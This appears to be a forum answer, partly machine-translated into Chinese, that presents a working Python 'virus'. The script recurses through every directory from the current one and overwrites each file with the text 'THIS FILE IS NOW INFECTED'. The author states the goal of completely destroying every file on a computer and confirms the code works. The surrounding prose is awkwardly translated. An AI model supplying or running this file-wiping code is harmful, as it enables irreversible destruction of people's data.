因此,在编写这样的病毒时,您会希望它是递归的。这样,它将能够进入它找到的每个目录并覆盖这些文件,从而完全破坏计算机上的每个文件。
def virus(directory=os.getcwd()):
VIRUS = "THIS FILE IS NOW INFECTED"
if directory[-1] == "/": #making sure directory can be concencated with file
pass
else:
directory = directory + "/" #making sure directory can be concencated with file
files = os.listdir(directory)
for i in files:
location = directory + i
if os.path.isfile(location):
with open(location,'w') as f:
f.write(VIRUS)
elif os.path.isdir(location):
virus(directory=location) #running function again if in a directory to go inside those files
现在这一行将重写所有文件作为变量中的消息VIRUS
:
病毒()
额外说明:
我之所以将默认设置为:directory=os.getcwd()
是因为您最初使用"."
的是 ,在该listdir
方法中,它将是当前工作目录文件。我需要文件中的目录名称才能拉出嵌套目录
这确实有效!:
我在计算机上的测试目录中运行它,每个嵌套目录中的每个文件都将其内容替换为:"THIS FILE IS NOW INFECTED"